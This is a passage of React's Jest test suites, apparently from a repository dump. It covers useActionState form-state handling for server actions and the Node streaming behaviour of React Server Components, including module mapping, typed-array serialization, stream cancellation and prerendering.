ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    expect(container.textContent).toBe('111');\n\n    // There are three identical forms. We're going to submit the second one.\n    const form = container.getElementsByTagName('form')[1];\n    const {formState} = await submit(form);\n\n    // Simulate an MPA form submission by resetting the container and\n    // rendering again.\n    container.innerHTML = '';\n\n    const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const postbackResponse = ReactServerDOMClient.createFromReadableStream(\n      postbackRscStream,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n      postbackResponse,\n      {formState: formState},\n    );\n    await readIntoContainer(postbackSsrStream);\n\n    // Only the second form's state should have been updated.\n    expect(container.textContent).toBe('121');\n\n    // Test that it hydrates correctly\n    if (__DEV__) {\n      // TODO: Can't use our internal act() util that works in production\n      // because it works by overriding the timer APIs, which this test module\n      // also does. Remove dev condition once FlightServer.act() is available.\n      await act(() => {\n        ReactDOMClient.hydrateRoot(container, postbackResponse, {\n          formState: formState,\n        });\n      });\n      expect(container.textContent).toBe('121');\n    }\n  });\n\n  it(\n    'useActionState preserves state if arity is the same, but different ' +\n      'arguments are bound (i.e. inline closure)',\n    async () => {\n      const serverAction = serverExports(\n        async function action(stepSize, prevState, formData) {\n          return prevState + stepSize;\n        },\n      );\n\n      function Form({action}) {\n        const [count, dispatch, isPending] = useActionState(action, 1);\n        return (\n          <form action={dispatch}>\n            {isPending ? 'Pending...' : ''}\n            {count}\n          </form>\n        );\n      }\n\n      function Client({action}) {\n        return (\n          <div>\n            <Form action={action} />\n            <Form action={action} />\n            <Form action={action} />\n          </div>\n        );\n      }\n\n      const ClientRef = await clientExports(Client);\n\n      const rscStream = ReactServerDOMServer.renderToReadableStream(\n        // Note: `.bind` is the same as an inline closure with 'use server'\n        <ClientRef action={serverAction.bind(null, 1)} />,\n        webpackMap,\n      );\n      const response = ReactServerDOMClient.createFromReadableStream(\n        rscStream,\n        {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        },\n      );\n      const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n      await readIntoContainer(ssrStream);\n\n      expect(container.textContent).toBe('111');\n\n      // There are three identical forms. We're going to submit the second one.\n      const form = container.getElementsByTagName('form')[1];\n      const {formState} = await submit(form);\n\n      // Simulate an MPA form submission by resetting the container and\n      // rendering again.\n      container.innerHTML = '';\n\n      // On the next page, the same server action is rendered again, but with\n      // a different bound stepSize argument. We should treat this as the same\n      // action signature.\n      const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n        // Note: `.bind` is the same as an inline closure with 'use server'\n        <ClientRef action={serverAction.bind(null, 5)} />,\n        webpackMap,\n      );\n      const postbackResponse = ReactServerDOMClient.createFromReadableStream(\n        postbackRscStream,\n        {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        },\n      );\n      const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n        postbackResponse,\n        {formState: formState},\n      );\n      await readIntoContainer(postbackSsrStream);\n\n      // The state should have been preserved because the action signatures are\n      // the same. (Note that the amount increased by 1, because that was the\n      // value of stepSize at the time the form was submitted)\n      expect(container.textContent).toBe('121');\n\n      // Now submit the form again. This time, the state should increase by 5\n      // because the stepSize argument has changed.\n      const form2 = container.getElementsByTagName('form')[1];\n      const {formState: formState2} = await submit(form2);\n\n      container.innerHTML = '';\n\n      const postbackRscStream2 = ReactServerDOMServer.renderToReadableStream(\n        // Note: `.bind` is the same as an inline closure with 'use server'\n        <ClientRef action={serverAction.bind(null, 5)} />,\n        webpackMap,\n      );\n      const postbackResponse2 = ReactServerDOMClient.createFromReadableStream(\n        postbackRscStream2,\n        {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        },\n      );\n      const postbackSsrStream2 = await ReactDOMServer.renderToReadableStream(\n        postbackResponse2,\n        {formState: formState2},\n      );\n      await readIntoContainer(postbackSsrStream2);\n\n      expect(container.textContent).toBe('171');\n    },\n  );\n\n  it('useActionState does not reuse state if action signatures are different', async () => {\n    // This is the same as the previous test, except instead of using bind to\n    // configure the server action (i.e. a closure), it swaps the action.\n    const increaseBy1 = serverExports(\n      async function action(prevState, formData) {\n        return prevState + 1;\n      },\n    );\n\n    const increaseBy5 = serverExports(\n      async function action(prevState, formData) {\n        return prevState + 5;\n      },\n    );\n\n    function Form({action}) {\n      const [count, dispatch, isPending] = useActionState(action, 1);\n      return (\n        <form action={dispatch}>\n          {isPending ? 'Pending...' : ''}\n          {count}\n        </form>\n      );\n    }\n\n    function Client({action}) {\n      return (\n        <div>\n          <Form action={action} />\n          <Form action={action} />\n          <Form action={action} />\n        </div>\n      );\n    }\n\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={increaseBy1} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    expect(container.textContent).toBe('111');\n\n    // There are three identical forms. We're going to submit the second one.\n    const form = container.getElementsByTagName('form')[1];\n    const {formState} = await submit(form);\n\n    // Simulate an MPA form submission by resetting the container and\n    // rendering again.\n    container.innerHTML = '';\n\n    // On the next page, a different server action is rendered. It should not\n    // reuse the state from the previous page.\n    const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={increaseBy5} />,\n      webpackMap,\n    );\n    const postbackResponse = ReactServerDOMClient.createFromReadableStream(\n      postbackRscStream,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n      postbackResponse,\n      {formState: formState},\n    );\n    await readIntoContainer(postbackSsrStream);\n\n    // The state should not have been preserved because the action signatures\n    // are not the same.\n    expect(container.textContent).toBe('111');\n  });\n\n  it('when permalink is provided, useActionState compares that instead of the keypath', async () => {\n    const serverAction = serverExports(\n      async function action(prevState, formData) {\n        return prevState + 1;\n      },\n    );\n\n    function Form({action, permalink}) {\n      const [count, dispatch, isPending] = useActionState(action, 1, permalink);\n      return (\n        <form action={dispatch}>\n          {isPending ? 'Pending...' : ''}\n          {count}\n        </form>\n      );\n    }\n\n    function Page1({action, permalink}) {\n      return <Form action={action} permalink={permalink} />;\n    }\n\n    function Page2({action, permalink}) {\n      return <Form action={action} permalink={permalink} />;\n    }\n\n    const Page1Ref = await clientExports(Page1);\n    const Page2Ref = await clientExports(Page2);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <Page1Ref action={serverAction} permalink=\"/permalink\" />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    expect(container.textContent).toBe('1');\n\n    // Submit the form\n    const form = container.getElementsByTagName('form')[0];\n    const {formState} = await submit(form);\n\n    // Simulate an MPA form submission by resetting the container and\n    // rendering again.\n    container.innerHTML = '';\n\n    // On the next page, the same server action is rendered again, but in\n    // a different component tree. However, because a permalink option was\n    // passed, the state should be preserved.\n    const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n      <Page2Ref action={serverAction} permalink=\"/permalink\" />,\n      webpackMap,\n    );\n    const postbackResponse = ReactServerDOMClient.createFromReadableStream(\n      postbackRscStream,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n      postbackResponse,\n      {formState: formState},\n    );\n    await readIntoContainer(postbackSsrStream);\n\n    expect(container.textContent).toBe('2');\n\n    // Now submit the form again. This time, the permalink will be different, so\n    // the state is not preserved.\n    const form2 = container.getElementsByTagName('form')[0];\n    const {formState: formState2} = await submit(form2);\n\n    container.innerHTML = '';\n\n    const postbackRscStream2 = ReactServerDOMServer.renderToReadableStream(\n      <Page1Ref action={serverAction} permalink=\"/some-other-permalink\" />,\n      webpackMap,\n    );\n    const postbackResponse2 = ReactServerDOMClient.createFromReadableStream(\n      postbackRscStream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    const postbackSsrStream2 = await ReactDOMServer.renderToReadableStream(\n      postbackResponse2,\n      {formState: formState2},\n    );\n    await readIntoContainer(postbackSsrStream2);\n\n    // The state was reset because the permalink didn't match\n    expect(container.textContent).toBe('1');\n  });\n\n  it('useActionState can change the action URL with the `permalink` argument', async () => {\n    const serverAction = serverExports(function action(prevState) {\n      return {state: prevState.count + 1};\n    });\n\n    const initialState = {count: 1};\n    function Client({action}) {\n      const [state, dispatch, isPending] = useActionState(\n        action,\n        initialState,\n        '/permalink',\n      );\n      return (\n        <form action={dispatch}>\n          <span>{isPending ? 'Pending...' : ''}</span>\n          <span>Count: {state.count}</span>\n        </form>\n      );\n    }\n\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.getElementsByTagName('form')[0];\n    const pendingSpan = container.getElementsByTagName('span')[0];\n    const stateSpan = container.getElementsByTagName('span')[1];\n    expect(pendingSpan.textContent).toBe('');\n    expect(stateSpan.textContent).toBe('Count: 1');\n\n    expect(form.action).toBe('http://localhost/permalink');\n  });\n\n  it('useActionState `permalink` is coerced to string', async () => {\n    const serverAction = serverExports(function action(prevState) {\n      return {state: prevState.count + 1};\n    });\n\n    class Permalink {\n      toString() {\n        return '/permalink';\n      }\n    }\n\n    const permalink = new Permalink();\n\n    const initialState = {count: 1};\n    function Client({action}) {\n      const [state, dispatch, isPending] = useActionState(\n        action,\n        initialState,\n        permalink,\n      );\n      return (\n        <form action={dispatch}>\n          <span>{isPending ? 'Pending...' : ''}</span>\n          <span>Count: {state.count}</span>\n        </form>\n      );\n    }\n\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.getElementsByTagName('form')[0];\n    const pendingSpan = container.getElementsByTagName('span')[0];\n    const stateSpan = container.getElementsByTagName('span')[1];\n    expect(pendingSpan.textContent).toBe('');\n    expect(stateSpan.textContent).toBe('Count: 1');\n\n    expect(form.action).toBe('http://localhost/permalink');\n  });\n\n  it('useActionState can return JSX state during MPA form submission', async () => {\n    const serverAction = serverExports(\n      async function action(prevState, formData) {\n        return <div>error message</div>;\n      },\n    );\n\n    function Form({action}) {\n      const [errorMsg, dispatch] = useActionState(action, null);\n      return <form action={dispatch}>{errorMsg}</form>;\n    }\n\n    const FormRef = await clientExports(Form);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <FormRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form1 = container.getElementsByTagName('form')[0];\n    expect(form1.textContent).toBe('');\n\n    async function submitTheForm() {\n      const form = container.getElementsByTagName('form')[0];\n      const {formState} = await submit(form);\n\n      // Simulate an MPA form submission by resetting the container and\n      // rendering again.\n      container.innerHTML = '';\n\n      const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n        <FormRef action={serverAction} />,\n        webpackMap,\n      );\n      const postbackResponse = ReactServerDOMClient.createFromReadableStream(\n        postbackRscStream,\n        {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        },\n      );\n      const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n        postbackResponse,\n        {formState: formState},\n      );\n      await readIntoContainer(postbackSsrStream);\n    }\n\n    await submitTheForm();\n    assertConsoleErrorDev([\n      'Failed to serialize an action for progressive enhancement:\\n' +\n        'Error: React Element cannot be passed to Server Functions from the Client without a temporary reference set. Pass a TemporaryReferenceSet to the options.\\n' +\n        '  [<div/>]\\n' +\n        '   ^^^^^^' +\n        '\\n    in <stack>',\n    ]);\n\n    // The error message was returned as JSX.\n    const form2 = container.getElementsByTagName('form')[0];\n    expect(form2.textContent).toBe('error message');\n    expect(form2.firstChild.tagName).toBe('DIV');\n  });\n\n  it('useActionState can return binary state during MPA form submission', async () => {\n    const serverAction = serverExports(\n      async function action(prevState, formData) {\n        return new Blob([new Uint8Array([104, 105])]);\n      },\n    );\n\n    let blob;\n\n    function Form({action}) {\n      const [errorMsg, dispatch] = useActionState(action, null);\n      let text;\n      if (errorMsg) {\n        blob = errorMsg;\n        text = React.use(blob.text());\n      }\n      return <form action={dispatch}>{text}</form>;\n    }\n\n    const FormRef = await clientExports(Form);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <FormRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form1 = container.getElementsByTagName('form')[0];\n    expect(form1.textContent).toBe('');\n\n    async function submitTheForm() {\n      const form = container.getElementsByTagName('form')[0];\n      const {formState} = await submit(form);\n\n      // Simulate an MPA form submission by resetting the container and\n      // rendering again.\n      container.innerHTML = '';\n\n      const postbackRscStream = ReactServerDOMServer.renderToReadableStream(\n        {formState, root: <FormRef action={serverAction} />},\n        webpackMap,\n      );\n      const postbackResponse =\n        await ReactServerDOMClient.createFromReadableStream(postbackRscStream, {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        });\n      const postbackSsrStream = await ReactDOMServer.renderToReadableStream(\n        postbackResponse.root,\n        {formState: postbackResponse.formState},\n      );\n      await readIntoContainer(postbackSsrStream);\n    }\n\n    await submitTheForm();\n    assertConsoleErrorDev([\n      'Failed to serialize an action for progressive enhancement:\\n' +\n        'Error: File/Blob fields are not yet supported in progressive forms. Will fallback to client hydration.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(blob instanceof Blob).toBe(true);\n    expect(blob.size).toBe(2);\n\n    const form2 = container.getElementsByTagName('form')[0];\n    expect(form2.textContent).toBe('hi');\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMNode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nimport fs from 'fs';\nimport os from 'os';\nimport path from 'path';\nimport {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';\n\nlet clientExports;\nlet webpackMap;\nlet webpackModules;\nlet webpackModuleLoading;\nlet React;\nlet ReactDOMServer;\nlet ReactDOMFizzStatic;\nlet ReactServer;\nlet ReactServerDOMServer;\nlet ReactServerDOMStaticServer;\nlet ReactServerDOMClient;\nlet Stream;\nlet use;\nlet assertConsoleErrorDev;\nlet serverAct;\n\n// We test pass-through without encoding strings but it should work without it too.\nconst streamOptions = {\n  objectMode: true,\n};\n\ndescribe('ReactFlightDOMNode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    patchSetImmediate();\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      jest.requireActual('react-server-dom-webpack/server.node'),\n    );\n    ReactServer = require('react');\n    ReactServerDOMServer = require('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/static', () =>\n      jest.requireActual('react-server-dom-webpack/static.node'),\n    );\n    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');\n\n    const WebpackMock = require('./utils/WebpackMock');\n    clientExports = WebpackMock.clientExports;\n    webpackMap = WebpackMock.webpackMap;\n    webpackModules = WebpackMock.webpackModules;\n    webpackModuleLoading = WebpackMock.moduleLoading;\n\n    jest.resetModules();\n    __unmockReact();\n    jest.unmock('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/client', () =>\n      jest.requireActual('react-server-dom-webpack/client.node'),\n    );\n\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.node');\n    ReactDOMFizzStatic = require('react-dom/static');\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n    Stream = require('stream');\n    use = React.use;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function filterStackFrame(filename, functionName) {\n    return (\n      filename !== '' &&\n      !filename.startsWith('node:') &&\n      !filename.includes('node_modules') &&\n      // Filter out our own internal source code since it'll typically be in node_modules\n      (!filename.includes('/packages/') || filename.includes('/__tests__/')) &&\n      !filename.includes('/build/')\n    );\n  }\n\n  const relativeFilename = path.relative(__dirname, __filename);\n\n  function normalizeCodeLocInfo(str, {preserveLocation = false} = {}) {\n    return (\n      str &&\n      str.replace(\n        /^ +(?:at|in) ([\\S]+) ([^\\n]*)/gm,\n        function (m, name, location) {\n          return (\n            '    in ' +\n            name +\n            (/:\\d+:\\d+/.test(m)\n              ? preserveLocation\n                ? ' ' + location.replace(__filename, relativeFilename)\n                : ' (at **)'\n              : '')\n          );\n        },\n      )\n    );\n  }\n\n  /**\n   * Removes all stackframes not pointing into this file\n   */\n  function ignoreListStack(str) {\n    if (!str) {\n      return str;\n    }\n\n    let ignoreListedStack = '';\n    const lines = str.split('\\n');\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const line of lines) {\n      if (line.indexOf(__filename) === -1) {\n      } else {\n        ignoreListedStack += '\\n' + line.replace(__dirname, '.');\n      }\n    }\n\n    return ignoreListedStack;\n  }\n\n  function readResult(stream) {\n    return new Promise((resolve, reject) => {\n      let buffer = '';\n      const writable = new Stream.PassThrough(streamOptions);\n      writable.setEncoding('utf8');\n      writable.on('data', chunk => {\n        buffer += chunk;\n      });\n      writable.on('error', error => {\n        reject(error);\n      });\n      writable.on('end', () => {\n        resolve(buffer);\n      });\n      stream.pipe(writable);\n    });\n  }\n\n  async function readWebResult(webStream: ReadableStream<Uint8Array>) {\n    const reader = webStream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return result;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  async function createBufferedUnclosingStream(\n    stream: ReadableStream<Uint8Array>,\n  ): Promise<ReadableStream<Uint8Array>> {\n    const chunks: Array<Uint8Array> = [];\n    const reader = stream.getReader();\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      } else {\n        chunks.push(value);\n      }\n    }\n\n    let i = 0;\n    return new ReadableStream({\n      async pull(controller) {\n        if (i < chunks.length) {\n          controller.enqueue(chunks[i++]);\n        }\n      },\n    });\n  }\n\n  function createDelayedStream() {\n    let resolveDelayedStream;\n    const promise = new Promise(resolve => (resolveDelayedStream = resolve));\n    const delayedStream = new Stream.Transform({\n      ...streamOptions,\n      transform(chunk, encoding, callback) {\n        // Artificially delay pushing the chunk.\n        promise.then(() => {\n          this.push(chunk);\n          callback();\n        });\n      },\n    });\n    return {delayedStream, resolveDelayedStream};\n  }\n\n  it('should support web streams in node', async () => {\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    // Large strings can get encoded differently so we need to test that.\n    const largeString = 'world'.repeat(1000);\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>{largeString}</Text>\n        </div>\n      );\n    }\n\n    function App() {\n      const model = {\n        html: <HTML />,\n      };\n      return model;\n    }\n\n    const readable = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(readable, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const model = await response;\n    expect(model).toEqual({\n      html: (\n        <div>\n          <span>hello</span>\n          <span>{largeString}</span>\n        </div>\n      ),\n    });\n  });\n\n  it('should allow an alternative module mapping to be used for SSR', async () => {\n    function ClientComponent() {\n      return <span>Client Component</span>;\n    }\n    // The Client build may not have the same IDs as the Server bundles for the same\n    // component.\n    const ClientComponentOnTheClient = clientExports(\n      ClientComponent,\n      123,\n      'path/to/chunk.js',\n    );\n    const ClientComponentOnTheServer = clientExports(ClientComponent);\n\n    // In the SSR bundle this module won't exist. We simulate this by deleting it.\n    const clientId = webpackMap[ClientComponentOnTheClient.$$id].id;\n    delete webpackModules[clientId];\n\n    // Instead, we have to provide a translation from the client meta data to the SSR\n    // meta data.\n    const ssrMetadata = webpackMap[ClientComponentOnTheServer.$$id];\n    const translationMap = {\n      [clientId]: {\n        '*': ssrMetadata,\n      },\n    };\n    const serverConsumerManifest = {\n      moduleMap: translationMap,\n      moduleLoading: webpackModuleLoading,\n    };\n\n    function App() {\n      return <ClientComponentOnTheClient />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),\n    );\n    const readable = new Stream.PassThrough(streamOptions);\n    let response;\n\n    stream.pipe(readable);\n\n    function ClientRoot() {\n      if (response) return use(response);\n      response = ReactServerDOMClient.createFromNodeStream(\n        readable,\n        serverConsumerManifest,\n      );\n      return use(response);\n    }\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual(\n      '<script src=\"/path/to/chunk.js\" async=\"\"></script><span>Client Component</span>',\n    );\n  });\n\n  it('should encode long string in a compact format', async () => {\n    const testString = '\"\\n\\t'.repeat(500) + '🙃';\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream({\n        text: testString,\n      }),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const stringResult = readResult(readable);\n    const parsedResult = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: webpackModuleLoading,\n    });\n\n    stream.pipe(readable);\n\n    const serializedContent = await stringResult;\n    // The content should be compact an unescaped\n    expect(serializedContent.length).toBeLessThan(2000);\n    expect(serializedContent).not.toContain('\\\\n');\n    expect(serializedContent).not.toContain('\\\\t');\n    expect(serializedContent).not.toContain('\\\\\"');\n    expect(serializedContent).toContain('\\t');\n\n    const result = await parsedResult;\n    // Should still match the result when parsed\n    expect(result.text).toBe(testString);\n  });\n\n  it('should be able to serialize any kind of typed array', async () => {\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]).buffer;\n    const buffers = [\n      buffer,\n      new Int8Array(buffer, 1),\n      new Uint8Array(buffer, 2),\n      new Uint8ClampedArray(buffer, 2),\n      new Int16Array(buffer, 2),\n      new Uint16Array(buffer, 2),\n      new Int32Array(buffer, 4),\n      new Uint32Array(buffer, 4),\n      new Float32Array(buffer, 4),\n      new Float64Array(buffer, 0),\n      new BigInt64Array(buffer, 0),\n      new BigUint64Array(buffer, 0),\n      new DataView(buffer, 3),\n    ];\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(buffers),\n    );\n    const readable = new Stream.PassThrough(streamOptions);\n    const promise = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: webpackModuleLoading,\n    });\n    stream.pipe(readable);\n    const result = await promise;\n    expect(result).toEqual(buffers);\n  });\n\n  it('should allow accept a nonce option for Flight preinitialized scripts', async () => {\n    function ClientComponent() {\n      return <span>Client Component</span>;\n    }\n    // The Client build may not have the same IDs as the Server bundles for the same\n    // component.\n    const ClientComponentOnTheClient = clientExports(\n      ClientComponent,\n      123,\n      'path/to/chunk.js',\n    );\n    const ClientComponentOnTheServer = clientExports(ClientComponent);\n\n    // In the SSR bundle this module won't exist. We simulate this by deleting it.\n    const clientId = webpackMap[ClientComponentOnTheClient.$$id].id;\n    delete webpackModules[clientId];\n\n    // Instead, we have to provide a translation from the client meta data to the SSR\n    // meta data.\n    const ssrMetadata = webpackMap[ClientComponentOnTheServer.$$id];\n    const translationMap = {\n      [clientId]: {\n        '*': ssrMetadata,\n      },\n    };\n    const serverConsumerManifest = {\n      moduleMap: translationMap,\n      moduleLoading: webpackModuleLoading,\n    };\n\n    function App() {\n      return <ClientComponentOnTheClient />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),\n    );\n    const readable = new Stream.PassThrough(streamOptions);\n    let response;\n\n    stream.pipe(readable);\n\n    function ClientRoot() {\n      if (response) return use(response);\n      response = ReactServerDOMClient.createFromNodeStream(\n        readable,\n        serverConsumerManifest,\n        {\n          nonce: 'r4nd0m',\n        },\n      );\n      return use(response);\n    }\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual(\n      '<script src=\"/path/to/chunk.js\" async=\"\" nonce=\"r4nd0m\"></script><span>Client Component</span>',\n    );\n  });\n\n  it('should cancel the underlying and transported ReadableStreams when we are cancelled', async () => {\n    let controller;\n    let cancelReason;\n    const s = new ReadableStream({\n      start(c) {\n        controller = c;\n      },\n      cancel(r) {\n        cancelReason = r;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        s,\n        {},\n        {\n          onError(error) {\n            return error.message;\n          },\n        },\n      ),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n    rscStream.pipe(readable);\n\n    const result = await ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: webpackModuleLoading,\n    });\n    const reader = result.getReader();\n\n    controller.enqueue('hi');\n\n    await serverAct(async () => {\n      // We should be able to read the part we already emitted before the abort\n      expect(await reader.read()).toEqual({\n        value: 'hi',\n        done: false,\n      });\n    });\n\n    const reason = new Error('aborted');\n    readable.destroy(reason);\n\n    await new Promise(resolve => {\n      readable.on('error', () => {\n        resolve();\n      });\n    });\n\n    expect(cancelReason.message).toBe(\n      'The destination stream errored while writing data.',\n    );\n\n    let error = null;\n    try {\n      await reader.read();\n    } catch (x) {\n      error = x;\n    }\n    expect(error).toBe(reason);\n  });\n\n  it('should cancel the underlying and transported ReadableStreams when we abort', async () => {\n    const errors = [];\n    let controller;\n    let cancelReason;\n    const s = new ReadableStream({\n      start(c) {\n        controller = c;\n      },\n      cancel(r) {\n        cancelReason = r;\n      },\n    });\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        s,\n        {},\n        {\n          onError(x) {\n            errors.push(x);\n            return x.message;\n          },\n        },\n      ),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n    rscStream.pipe(readable);\n\n    const result = await ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: webpackModuleLoading,\n    });\n    const reader = result.getReader();\n    controller.enqueue('hi');\n\n    const reason = new Error('aborted');\n    rscStream.abort(reason);\n\n    expect(cancelReason).toBe(reason);\n\n    let error = null;\n    try {\n      await reader.read();\n    } catch (x) {\n      error = x;\n    }\n    expect(error.digest).toBe('aborted');\n    expect(errors).toEqual([reason]);\n  });\n\n  it('can prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Greeting />\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          <App />,\n          webpackMap,\n        ),\n      };\n    });\n\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromNodeStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    // Use the SSR render to resolve any lazy elements\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        React.createElement(ClientRoot, {response}),\n      ),\n    );\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    expect(result).toBe('<div>hello world</div>');\n  });\n\n  